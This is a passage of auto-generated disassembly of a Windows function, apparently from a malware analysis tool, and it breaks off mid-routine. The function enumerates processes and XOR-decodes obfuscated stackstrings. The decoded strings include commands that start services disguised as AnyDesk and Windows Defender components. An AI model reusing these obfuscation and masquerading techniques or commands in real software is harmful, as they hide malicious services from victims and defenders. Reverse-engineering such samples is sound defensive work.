Function at 0x1400012a0
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Enumerate processes

Disassembly:
push rbp
push r13
push r15
lea rbp, [rsp - 0xb30]
sub rsp, 0xc30
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xb10], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp + 0x268]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
xor r13d, r13d
mov r15, rax
test rax, rax
jne 0x1400012ef
mov dword [r13], 0x2a
cmp dword [rbp + 0x268], 3
mov qword [rsp + 0xc50], rbx
mov qword [rsp + 0xc58], rsi
mov qword [rsp + 0xc60], rdi
mov qword [rsp + 0xc20], r14
jge 0x140001327
mov dword [r13], 0x2a
xor eax, eax
jmp 0x1400015a2
movzx eax, word [0x140019bec]
lea rdx, [rbp + 0x248]
mov word [rbp + 0x254], ax
lea rcx, [rbp + 0x2d0]
movzx eax, word [0x140019bee]
mov word [rbp + 0x256], ax
movzx eax, word [str.AnyDeskCrashHandler.exe]
mov word [rbp + 0x258], ax
movzx eax, word [0x140019bf2]
mov word [rbp + 0x25a], ax
movzx eax, word [0x140019bf4]
mov word [rbp + 0x25c], ax
mov word [rbp + 0x25e], r13w
mov dword [rbp + 0x248], 0x2d002d
mov dword [rbp + 0x24c], 0x690070
mov dword [rbp + 0x250], 0x64
call fcn.140002f00
lea rdx, [rbp + 0x242]
mov dword [rbp + 0x240], 0x9df1
lea rcx, [rbp + 0x2f0]
mov word [rbp + 0x244], r13w
call fcn.140002f00
mov r14, qword [rbp + 0x2e8]
lea r8, [rbp + 0x2d0]
mov rdi, qword [rbp + 0x2d0]
cmp r14, 7
mov rax, qword [r15 + 8]
cmova r8, rdi
sub r8, rax
nop
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140001404
add rax, 2
test ecx, ecx
jne 0x1400013f0
mov rsi, qword [rbp + 0x308]
mov rbx, qword [rbp + 0x2f0]
test edx, edx
jne 0x140001bf1
mov rcx, qword [r15 + 0x10]
lea r9, [rbp + 0x2f0]
cmp rsi, 7
mov rax, rcx
cmova r9, rbx
sub r9, rcx
nop dword [rax]
nop word [rax + rax]
movzx r8d, word [rax]
movzx edx, word [rax + r9]
sub r8d, edx
jne 0x140001456
add rax, 2
test edx, edx
jne 0x140001440
test r8d, r8d
je 0x140001bf1
mov r8d, 0xa
mov qword [rsp + 0xc28], r12
lea rdx, [rbp - 8]
call fcn.1400076b8
mov rcx, qword [rbp - 8]
mov r12d, eax
cmp word [rcx], r13w
je 0x14000148b
mov dword [r13], 0x2a
mov rdx, qword [r15 + 8]
lea rcx, [rbp + 0x248]
call fcn.140002f00
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 2
mov r13d, eax
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x1400015de
mov rdx, qword [rbp + 0x260]
cmp rdx, 7
jbe 0x140001504
mov rcx, qword [rbp + 0x248]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400014ff
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c77
call fcn.14000330c
xor eax, eax
mov qword [rbp + 0x260], 7
mov qword [rbp + 0x258], rax
mov word [rbp + 0x248], ax
cmp rsi, 7
jbe 0x14000155a
lea rdx, [rsi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140001552
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c77
mov rcx, rbx
call fcn.14000330c
cmp r14, 7
jbe 0x140001595
lea rdx, [r14*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000158d
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c77
mov rcx, rdi
call fcn.14000330c
mov r12, qword [rsp + 0xc28]
mov eax, 1
mov r14, qword [rsp + 0xc20]
mov rdi, qword [rsp + 0xc60]
mov rsi, qword [rsp + 0xc58]
mov rbx, qword [rsp + 0xc50]
mov rcx, qword [rbp + 0xb10]
xor rcx, rsp
call fcn.1400032b0
add rsp, 0xc30
pop r15
pop r13
pop rbp
ret
lea rdx, [rbp]
mov dword [rbp], 0x238
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001b44
mov ebx, 0x3d22
mov dword [rbp - 0x6c], 0x3d18
mov edi, 0x3d34
mov dword [rbp - 0x68], 0x3d04
mov esi, 0x3d2a
mov dword [rbp - 0x64], 0x3d62
mov r14d, 0x3d23
mov dword [rbp - 0x60], 0x3d63
mov dword [rbp - 0x5c], 0x3d64
mov dword [rbp - 0x58], 0x3d65
mov dword [rbp - 0x54], 0x3d66
mov dword [rbp - 0x50], 0x3d67
mov dword [rbp - 0x4c], 0x3d68
mov dword [rbp - 0x48], 0x3d69
mov dword [rbp - 0x44], 0x3d6a
mov dword [rbp - 0x40], 0x3d6b
mov dword [rbp - 0x3c], 0x3d6c
mov dword [rbp - 0x38], 0x3d6d
mov dword [rbp - 0x34], 0x3d6e
mov dword [rbp - 0x30], 0x3d6f
mov dword [rbp - 0x2c], 0x3d71
mov dword [rbp - 0x70], 0x3d72
mov dword [rbp - 0x28], 0x3d73
mov dword [rbp - 0x24], 0x3d74
mov dword [rbp - 0x20], 0x3d75
mov dword [rbp - 0x1c], 0x3d76
mov dword [rbp - 0x18], 0x3d77
mov dword [rbp - 0x14], 0x3d78
mov dword [rbp - 0x10], 0x3d79
mov r10d, 0x3d70
cmp dword [rbp + 8], r13d
je 0x140001b2f
mov eax, dword [rbp - 0x6c]
mov word [rsp + 0x4c], ax
mov eax, dword [rbp - 0x68]
mov word [rsp + 0x4e], ax
mov eax, dword [rbp - 0x64]
mov word [rsp + 0x50], ax
movzx eax, word [str.C:WindowsSystem32cmd.exe__c_sc_start_AnyDeskUpdateService]
xor ax, word [rbp - 0x60]
mov word [rsp + 0x52], ax
movzx eax, word [0x140019c22]
xor ax, word [rbp - 0x5c]
mov word [rsp + 0x54], ax
movzx eax, word [0x140019c24]
xor ax, word [rbp - 0x58]
mov word [rsp + 0x56], ax
movzx eax, word [0x140019c26]
xor ax, word [rbp - 0x54]
mov word [rsp + 0x58], ax
movzx eax, word [0x140019c28]
xor ax, word [rbp - 0x50]
mov word [rsp + 0x5a], ax
movzx eax, word [0x140019c2a]
xor ax, word [rbp - 0x4c]
mov word [rsp + 0x5c], ax
movzx eax, word [0x140019c2c]
xor ax, word [rbp - 0x48]
mov word [rsp + 0x5e], ax
movzx eax, word [0x140019c2e]
xor ax, word [rbp - 0x44]
mov word [rsp + 0x60], ax
movzx eax, word [0x140019c30]
xor ax, word [rbp - 0x40]
mov word [rsp + 0x62], ax
movzx eax, word [0x140019c32]
xor ax, word [rbp - 0x3c]
mov word [rsp + 0x64], ax
movzx eax, word [0x140019c34]
xor ax, word [rbp - 0x38]
mov word [rsp + 0x66], ax
movzx eax, word [0x140019c36]
xor ax, word [rbp - 0x34]
mov word [rsp + 0x68], ax
movzx eax, word [0x140019c38]
xor ax, word [rbp - 0x30]
mov word [rsp + 0x6a], ax
movzx eax, word [0x140019c3a]
xor ax, r10w
mov dword [rsp + 0x20], 0x3d0a3d4b
mov word [rsp + 0x6c], ax
movzx eax, word [0x140019c3c]
xor ax, word [rbp - 0x2c]
mov word [rsp + 0x6e], ax
movzx eax, word [0x140019c3e]
xor ax, word [rbp - 0x70]
mov word [rsp + 0x70], ax
movzx eax, word [0x140019c40]
xor ax, word [rbp - 0x28]
mov word [rsp + 0x72], ax
movzx eax, word [0x140019c42]
xor ax, word [rbp - 0x24]
mov word [rsp + 0x74], ax
movzx eax, word [0x140019c44]
xor ax, word [rbp - 0x20]
mov word [rsp + 0x76], ax
movzx eax, word [0x140019c46]
xor ax, word [rbp - 0x1c]
mov word [rsp + 0x78], ax
movzx eax, word [0x140019c48]
xor ax, word [rbp - 0x18]
mov word [rsp + 0x7a], ax
movzx eax, word [0x140019c4a]
mov dword [rsp + 0x24], 0x3d343d22
mov dword [rsp + 0x28], 0x3d2a3d0a
mov dword [rsp + 0x2c], 0x3d3a3d23
mov dword [rsp + 0x30], 0x3d213d11
mov dword [rsp + 0x34], 0x3d263d35
mov dword [rsp + 0x38], 0x3d1f3d3e
mov dword [rsp + 0x3c], 0x3d373d39
mov dword [rsp + 0x40], 0x3d373d3e
mov dword [rsp + 0x44], 0x3d2f3d39
mov dword [rsp + 0x48], 0x3d3a3d70
xor ax, word [rbp - 0x14]
lea rcx, [rsp + 0x20]
mov word [rsp + 0x7c], ax
movzx eax, word [0x140019c4c]
xor ax, word [rbp - 0x10]
mov word [rsp + 0x7e], ax
xor eax, eax
mov word [rbp - 0x80], ax
call fcn.140002d90
mov rdx, rax
lea rcx, [rbp + 0x270]
call fcn.140002f00
cmp qword [rbp + 0x288], 7
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x2c]
cmova rdx, qword [rbp + 0x270]
call fcn.140006cb0
test eax, eax
jne 0x140001ae9
mov r8d, dword [rbp + 8]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140001978
lea r9, [rbp + 0x240]
mov dword [rbp + 0x240], 0x400
lea r8, [rbp + 0x310]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
test eax, eax
je 0x14000196f
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x290]
call fcn.140002f00
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm0, xmmword [rbp + 0x290]
movups xmm1, xmmword [rbp + 0x2a0]
movups xmmword [rbp + 0x2b0], xmm0
movups xmmword [rbp + 0x2c0], xmm1
jmp 0x14000198b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x140019bd8]
lea rcx, [rbp + 0x2b0]
call fcn.140002f00
cmp qword [rbp + 0x260], 7
lea rcx, [rbp + 0x248]
mov rax, qword [rbp + 0x258]
lea rdx, [rbp + 0x248]
cmova rcx, qword [rbp + 0x248]
cmova rdx, qword [rbp + 0x248]
lea r8, [rcx + rax*2]
lea rcx, [rbp + 0x290]
call fcn.140003040
mov r9, rax
cmp qword [rax + 0x18], 7
jbe 0x1400019d5
mov r9, qword [rax]
mov r10, qword [rax + 0x10]
lea r11, [rbp + 0x2b0]
mov r14, qword [rbp + 0x2c8]
mov rdi, qword [rbp + 0x2b0]
cmp r14, 7
mov rax, qword [rbp + 0x2c0]
cmova r11, rdi
cmp r10, rax
ja 0x140001a48
sub rax, r10
test r10, r10
jne 0x140001a0e
xor ebx, ebx
jmp 0x140001a4f
lea rsi, [r11 + 2]
mov rbx, r11
lea rsi, [rsi + rax*2]
nop dword [rax]
mov rax, rsi
sub rax, rbx
sar rax, 1
je 0x140001a43
movzx ecx, word [r9]
nop
cmp word [rbx], cx
je 0x140001baa
add rbx, 2
sub rax, 1
jne 0x140001a30
mov esi, 0x3d2a
mov rbx, 0xffffffffffffffff
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 7
jbe 0x140001a95
mov rcx, qword [rbp + 0x290]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a90
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c7d
call fcn.14000330c
test rbx, rbx
jne 0x140001c83
cmp r14, 7
jbe 0x140001ad9
lea rdx, [r14*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140001ad1
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c99
mov rcx, rdi
call fcn.14000330c
mov r14d, 0x3d23
mov edi, 0x3d34
mov ebx, 0x3d22
mov rdx, qword [rbp + 0x288]
cmp rdx, 7
jbe 0x140001b2f
mov rcx, qword [rbp + 0x270]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b2a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c99
call fcn.14000330c
lea rdx, [rbp]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400016be
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax]
mov r8d, r12d
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140001ca8
lea rdx, [rbp + 0x240]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x140001c9f
cmp dword [rbp + 0x240], 0x103
jne 0x140001c9f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001b50
test rbx, rbx
je 0x140001a43
mov rdx, r10
mov rcx, r9
test r10, r10
je 0x140001bd8
mov r8, rbx
sub r8, r9
movzx eax, word [rcx]
cmp word [rcx + r8], ax
jne 0x140001be8
add rcx, 2
sub rdx, 1
jne 0x140001bc4
sub rbx, r11
mov esi, 0x3d2a
sar rbx, 1
jmp 0x140001a4f
add rbx, 2
jmp 0x140001a20
mov dword [0], 0x2a
cmp rsi, 7
jbe 0x140001c33
lea rdx, [rsi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140001c2b
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c71
mov rcx, rbx
call fcn.14000330c
cmp r14, 7
jbe 0x140001c6a
lea rdx, [r14*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140001c62
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c71
mov rcx, rdi
call fcn.14000330c
xor eax, eax
jmp 0x1400015a2
call fcn.140007b10
int3
call fcn.140007b10
int3
call fcn.140007b10
int3
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1400011c0
xor ecx, ecx
call fcn.140006bc8
int3
call fcn.140007b10
int3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, word [0x140019c9a]
mov r13d, 0xfbac
xor ax, r13w
mov dword [rbp + 0x310], 0xfbeffbac
mov word [rbp + 0x38c], ax
movzx eax, word [0x140019c9c]
xor ax, r13w
mov dword [rbp + 0x314], 0xfbf0fb96
mov word [rbp + 0x38e], ax
movzx eax, word [0x140019c9e]
xor ax, r13w
mov dword [rbp + 0x318], 0xfbc5fbfb
mov word [rbp + 0x390], ax
movzx eax, word [str.C:WindowsSystem32cmd.exe__c_sc_start_MicrosoftWindowsDefenderCoreService]
xor ax, r13w
mov dword [rbp + 0x31c], 0xfbc8fbc2
mov word [rbp + 0x392], ax
movzx eax, word [0x140019ca2]
xor ax, r13w
mov dword [rbp + 0x320], 0xfbdbfbc3
mov word [rbp + 0x394], ax
movzx eax, word [0x140019ca4]
xor ax, r13w
mov dword [rbp + 0x324], 0xfbf0fbdf
mov word [rbp + 0x396], ax
movzx eax, word [0x140019ca6]
xor ax, r13w
mov dword [rbp + 0x328], 0xfbd5fbff
mov word [rbp + 0x398], ax
movzx eax, word [0x140019ca8]
xor ax, r13w
mov dword [rbp + 0x32c], 0xfbd8fbdf
mov word [rbp + 0x39a], ax
movzx eax, word [0x140019caa]
xor ax, r13w
mov dword [rbp + 0x330], 0xfbc1fbc9
mov word [rbp + 0x39c], ax
movzx eax, word [0x140019cac]
xor ax, r13w
mov dword [rbp + 0x334], 0xfb9efb9f
mov word [rbp + 0x39e], ax
movzx eax, word [0x140019cae]
xor ax, r13w
mov dword [rbp + 0x338], 0xfbcffbf0
mov word [rbp + 0x3a0], ax
movzx eax, word [0x140019cb0]
xor ax, r13w
mov dword [rbp + 0x33c], 0xfbc8fbc1
mov word [rbp + 0x3a2], ax
movzx eax, word [0x140019cb2]
xor ax, r13w
mov dword [rbp + 0x340], 0xfbc9fb82
mov word [rbp + 0x3a4], ax
movzx eax, word [0x140019cb4]
xor ax, r13w
mov dword [rbp + 0x344], 0xfbc9fbd4
mov word [rbp + 0x3a6], ax
movzx eax, word [0x140019cb6]
xor ax, r13w
mov dword [rbp + 0x348], 0xfb83fb8c
mov word [rbp + 0x3a8], ax
movzx eax, word [0x140019cb8]
xor ax, r13w
mov dword [rbp + 0x34c], 0xfb8cfbcf
mov word [rbp + 0x3aa], ax
movzx eax, word [0x140019cba]
mov dword [rbp + 0x350], 0xfbcffbdf
mov dword [rbp + 0x354], 0xfbdffb8c
mov dword [rbp + 0x358], 0xfbcdfbd8
mov dword [rbp + 0x35c], 0xfbd8fbde
mov dword [rbp + 0x360], 0xfbedfb8c
mov dword [rbp + 0x364], 0xfbd5fbc2
mov dword [rbp + 0x368], 0xfbc9fbe8
mov dword [rbp + 0x36c], 0xfbc7fbdf
mov dword [rbp + 0x370], 0xfbdcfbf9
mov dword [rbp + 0x374], 0xfbcdfbc8
mov dword [rbp + 0x378], 0xfbc9fbd8
mov dword [rbp + 0x37c], 0xfbc9fbff
mov dword [rbp + 0x380], 0xfbdafbde
mov dword [rbp + 0x384], 0xfbcffbc5
mov dword [rbp + 0x388], 0xfbacfbc9
xor ax, r13w
mov word [rbp + 0x3ac], ax
movzx eax, word [0x140019cbc]
xor ax, r13w
mov word [rbp + 0x3ae], ax
movzx eax, word [0x140019cbe]
xor ax, r13w
mov word [rbp + 0x3b0], ax
movzx eax, word [0x140019cc0]
xor ax, r13w
mov word [rbp + 0x3b2], ax
movzx eax, word [0x140019cc2]
xor ax, r13w
mov word [rbp + 0x3b4], ax
movzx eax, word [0x140019cc4]
xor ax, r13w
mov word [rbp + 0x3b6], ax
movzx eax, word [0x140019cc6]
xor ax, r13w
mov word [rbp + 0x3b8], ax
movzx eax, word [0x140019cc8]
xor ax, r13w
mov word [rbp + 0x3ba], ax
movzx eax, word [0x140019cca]
xor ax, r13w
mov word [rbp + 0x3bc], ax
movzx eax, word [0x140019ccc]
xor ax, r13w
mov word [rbp + 0x3be], ax
movzx eax, word [0x140019cce]
xor ax, r13w
mov word [rbp + 0x3c0], ax
movzx eax, word [0x140019cd0]
xor ax, r13w
mov word [rbp + 0x3c2], ax
movzx eax, word [0x140019cd2]
xor ax, r13w
mov word [rbp + 0x3c4], ax
movzx eax, word [0x140019cd4]
xor ax, r13w
mov word [rbp + 0x3c6], ax
movzx eax, word [0x140019cd6]
xor ax, r13w
mov word [rbp + 0x3c8], ax
movzx eax, word [0x140019cd8]
xor ax, r13w
mov word [rbp + 0x3ca], ax
movzx eax, word [0x140019cda]
xor ax, r13w
mov word [rbp + 0x3cc], ax
movzx eax, word [0x140019cdc]
xor ax, r13w
mov word [rbp + 0x3ce], ax
movzx eax, word [0x140019cde]
xor ax, r13w
mov word [rbp + 0x3d0], ax
movzx eax, word [0x140019ce0]
xor ax, r13w
mov word [rbp + 0x3d2], ax
movzx eax, word [0x140019ce2]
xor ax, r13w
mov word [rbp + 0x3d4], ax
movzx eax, word [0x140019ce4]
xor ax, r13w
mov word [rbp + 0x3d6], ax
movzx eax, word [0x140019ce6]
xor ax, r13w
mov word [rbp + 0x3d8], ax
movzx eax, word [0x140019ce8]
xor ax, r13w
mov word [rbp + 0x3da], ax
movzx eax, word [0x140019cea]
xor ax, r13w
mov word [rbp + 0x3dc], ax
movzx eax, word [0x140019cec]
xor ax, r13w
mov word [rbp + 0x3de], ax
movzx eax, word [0x140019cee]
xor ax, r13w
mov word [rbp + 0x3e0], ax
movzx eax, word [0x140019cf0]
xor ax, r13w
lea rcx, [rbp + 0x310]
mov word [rbp + 0x3e2], ax
movzx eax, word [0x140019cf2]
xor ax, r13w
mov word [rbp + 0x3e4], ax
movzx eax, word [0x140019cf4]
xor ax, r13w
mov word [rbp + 0x3e6], ax
movzx eax, word [0x140019cf6]
xor ax, r13w
mov word [rbp + 0x3e8], ax
movzx eax, word [0x140019cf8]
xor ax, r13w
mov word [rbp + 0x3ea], ax
movzx eax, word [0x140019cfa]
xor ax, r13w
mov word [rbp + 0x3ec], ax
movzx eax, word [0x140019cfc]
xor ax, r13w
mov word [rbp + 0x3ee], ax
movzx eax, word [0x140019cfe]
xor ax, r13w
mov word [rbp + 0x3f0], ax
movzx eax, word [0x140019d00]
xor ax, r13w
mov word [rbp + 0x3f2], ax
movzx eax, word [0x140019d02]
xor ax, r13w
mov word [rbp + 0x3f4], ax
movzx eax, word [0x140019d04]
xor ax, r13w
mov word [rbp + 0x3f6], ax
movzx eax, word [0x140019d06]
xor ax, r13w
mov word [rbp + 0x3f8], ax
movzx eax, word [0x140019d08]
xor ax, r13w
mov word [rbp + 0x3fa], ax
movzx eax, word [0x140019d0a]
xor ax, r13w
mov word [rbp + 0x3fc], ax
movzx eax, word [0x140019d0c]
xor ax, r13w
mov word [rbp + 0x3fe], ax
movzx eax, word [0x140019d0e]
xor ax, r13w
mov word [rbp + 0x400], ax
movzx eax, word [0x140019d10]
xor ax, r13w
mov word [rbp + 0x402], ax
xor eax, eax
mov word [rbp + 0x404], ax
call fcn.140002ae0
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140002f00
lea rcx, [rbp + 0x290]
call fcn.140002ef0
mov rcx, rax
call fcn.1400011d0
mov dword [rbp + 0x310], 0x700b7048
mov dword [rbp + 0x314], 0x70167073
mov dword [rbp + 0x318], 0x7025701c
mov dword [rbp + 0x31c], 0x702a7023
mov dword [rbp + 0x320], 0x70277020
mov dword [rbp + 0x324], 0x700e7022
mov dword [rbp + 0x328], 0x702d7000
mov dword [rbp + 0x32c], 0x70227026
mov dword [rbp + 0x330], 0x70357032
mov dword [rbp + 0x334], 0x7068706a
mov dword [rbp + 0x338], 0x703f7007
mov dword [rbp + 0x33c], 0x703a7030
mov dword [rbp + 0x340], 0x70057071
mov dword [rbp + 0x344], 0x70077019
mov dword [rbp + 0x348], 0x704b7043
mov dword [rbp + 0x34c], 0x70467006
mov dword [rbp + 0x350], 0x700b7014
mov dword [rbp + 0x354], 0x70197049
mov dword [rbp + 0x358], 0x700d701f
mov dword [rbp + 0x35c], 0x701a701f
mov eax, 0x7093
mov dword [rbp + 0x360], 0x703d704f
mov word [rbp + 0x3a8], ax
mov ecx, 0x7094
movzx eax, word [str.Unknown_exception]
mov edx, 0x70c4
xor ax, cx
mov dword [rbp + 0x364], 0x70117018
mov word [rbp + 0x3aa], ax
mov ecx, 0x7095
movzx eax, word [0x140019d3a]
mov r8d, 0x70cb
xor ax, cx
mov dword [rbp + 0x368], 0x701b7001
mov word [rbp + 0x3ac], ax
mov ecx, 0x7096
movzx eax, word [0x140019d3c]
xor ax, cx
mov dword [rbp + 0x36c], 0x70197006
mov word [rbp + 0x3ae], ax
mov ecx, 0x7097
movzx eax, word [0x140019d3e]
xor ax, cx
mov dword [rbp + 0x370], 0x700c7011
mov word [rbp + 0x3b0], ax
mov ecx, 0x7098
movzx eax, word [0x140019d40]
xor ax, cx
mov dword [rbp + 0x374], 0x7013702e
mov word [rbp + 0x3b2], ax
mov ecx, 0x7099
movzx eax, word [0x140019d42]
xor ax, cx
mov dword [rbp + 0x378], 0x70187015
mov word [rbp + 0x3b4], ax
mov ecx, 0x709a
movzx eax, word [0x140019d44]
xor ax, cx
mov dword [rbp + 0x37c], 0x70097012
mov word [rbp + 0x3b6], ax
mov ecx, 0x709b
movzx eax, word [0x140019d46]
xor ax, cx
mov dword [rbp + 0x380], 0x70c4700c
mov word [rbp + 0x3b8], ax
mov ecx, 0x709c
movzx eax, word [0x140019d48]
xor ax, cx
mov dword [rbp + 0x384], 0x70e470e4
mov word [rbp + 0x3ba], ax
mov ecx, 0x709d
movzx eax, word [0x140019d4a]
xor ax, cx
mov dword [rbp + 0x388], 0x70ea70e6
mov word [rbp + 0x3bc], ax
mov ecx, 0x709e
movzx eax, word [0x140019d4c]
xor ax, cx
mov dword [rbp + 0x38c], 0x70e370e1
mov word [rbp + 0x3be], ax
mov ecx, 0x709f
movzx eax, word [0x140019d4e]
xor ax, cx
mov dword [rbp + 0x390], 0x70cb70f5
mov word [rbp + 0x3c0], ax
mov ecx, 0x70a0
movzx eax, word [str.bad_array_new_length]
xor ax, cx
mov dword [rbp + 0x394], 0x70f870e6
mov word [rbp + 0x3c2], ax
mov ecx, 0x70a1
movzx eax, word [0x140019d52]
xor ax, cx
mov dword [rbp + 0x398], 0x70df70ee
mov word [rbp + 0x3c4], ax
mov ecx, 0x70a2
movzx eax, word [0x140019d54]
xor ax, cx
mov dword [rbp + 0x39c], 0x70fc70e8
mov dword [rbp + 0x3a0], 0x70f970f9
mov dword [rbp + 0x3a4], 0x70f770f2
mov word [rbp + 0x3c6], ax
mov ecx, 0x70a3
movzx eax, word [0x140019d56]
xor ax, cx
mov ecx, 0x70a4
mov word [rbp + 0x3c8], ax
movzx eax, word [0x140019d58]
xor ax, cx
mov ecx, 0x70a5
mov word [rbp + 0x3ca], ax
movzx eax, word [0x140019d5a]
xor ax, cx
mov ecx, 0x70a6
mov word [rbp + 0x3cc], ax
movzx eax, word [0x140019d5c]
xor ax, cx
mov ecx, 0x70a7
mov word [rbp + 0x3ce], ax
movzx eax, word [0x140019d5e]
xor ax, cx
mov ecx, 0x70a8
mov word [rbp + 0x3d0], ax
movzx eax, word [0x140019d60]
xor ax, cx
mov ecx, 0x70a9
mov word [rbp + 0x3d2], ax
movzx eax, word [0x140019d62]
xor ax, cx
mov ecx, 0x70aa
mov word [rbp + 0x3d4], ax
movzx eax, word [0x140019d64]
xor ax, cx
mov ecx, 0x70ab
mov word [rbp + 0x3d6], ax
movzx eax, word [0x140019d66]
xor ax, cx
mov ecx, 0x70ac
mov word [rbp + 0x3d8], ax
movzx eax, word [str.string_too_long]
xor ax, cx
mov ecx, 0x70ad
mov word [rbp + 0x3da], ax
movzx eax, word [0x140019d6a]
xor ax, cx
mov ecx, 0x70ae
mov word [rbp + 0x3dc], ax
movzx eax, word [0x140019d6c]
xor ax, cx
mov ecx, 0x70af
mov word [rbp + 0x3de], ax
movzx eax, word [0x140019d6e]
xor ax, cx
mov ecx, 0x70b0
mov word [rbp + 0x3e0], ax
movzx eax, word [0x140019d70]
xor ax, cx
mov ecx, 0x70b1
mov word [rbp + 0x3e2], ax
movzx eax, word [0x140019d72]
xor ax, cx
mov ecx, 0x70b2
mov word [rbp + 0x3e4], ax
movzx eax, word [0x140019d74]
xor ax, cx
mov ecx, 0x70b3
mov word [rbp + 0x3e6], ax
movzx eax, word [0x140019d76]
xor ax, cx
mov ecx, 0x70b4
mov word [rbp + 0x3e8], ax
movzx eax, word [0x140019d78]
xor ax, cx
mov ecx, 0x70b5
mov word [rbp + 0x3ea], ax
movzx eax, word [0x140019d7a]
xor ax, cx
mov ecx, 0x70b6
mov word [rbp + 0x3ec], ax
movzx eax, word [0x140019d7c]
xor ax, cx
mov word [rbp + 0x3ee], ax
movzx eax, word [0x140019d7e]
mov ecx, 0x70b7
xor ax, cx
mov ecx, 0x70b8
mov word [rbp + 0x3f0], ax
movzx eax, word [0x140019d80]
xor ax, cx
mov ecx, 0x70b9
mov word [rbp + 0x3f2], ax
movzx eax, word [0x140019d82]
xor ax, cx
mov ecx, 0x70ba
mov word [rbp + 0x3f4], ax
movzx eax, word [0x140019d84]
xor ax, cx
mov ecx, 0x70bb
mov word [rbp + 0x3f6], ax
movzx eax, word [0x140019d86]
xor ax, cx
mov ecx, 0x70bc
mov word [rbp + 0x3f8], ax
movzx eax, word [0x140019d88]
xor ax, cx
mov ecx, 0x70bd
mov word [rbp + 0x3fa], ax
movzx eax, word [0x140019d8a]
xor ax, cx
mov ecx, 0x70be
mov word [rbp + 0x3fc], ax
movzx eax, word [0x140019d8c]
xor ax, cx
mov ecx, 0x70bf
mov word [rbp + 0x3fe], ax
movzx eax, word [0x140019d8e]
xor ax, cx
mov ecx, 0x70c0
mov word [rbp + 0x400], ax
movzx eax, word [0x140019d90]
xor ax, cx
mov ecx, 0x70c1
mov word [rbp + 0x402], ax
movzx eax, word [0x140019d92]
xor ax, cx
mov ecx, 0x70c2
mov word [rbp + 0x404], ax
movzx eax, word [0x140019d94]
xor ax, cx
mov ecx, 0x70c3
mov word [rbp + 0x406], ax
movzx eax, word [0x140019d96]
xor ax, cx
mov ecx, 0x70c5
mov word [rbp + 0x408], ax
movzx eax, word [0x140019d98]
xor ax, dx
mov word [rbp + 0x40a], ax
movzx eax, word [0x140019d9a]
xor ax, cx
mov ecx, 0x70c6
mov word [rbp + 0x40c], ax
movzx eax, word [0x140019d9c]
xor ax, cx
mov ecx, 0x70c7
mov word [rbp + 0x40e], ax
movzx eax, word [0x140019d9e]
xor ax, cx
mov ecx, 0x70c8
mov word [rbp + 0x410], ax
movzx eax, word [0x140019da0]
xor ax, cx
mov ecx, 0x70c9
mov word [rbp + 0x412], ax
movzx eax, word [0x140019da2]
xor ax, cx
mov ecx, 0x70ca
mov word [rbp + 0x414], ax
movzx eax, word [0x140019da4]
xor ax, cx
mov word [rbp + 0x416], ax
movzx eax, word [0x140019da6]
xor ax, r8w
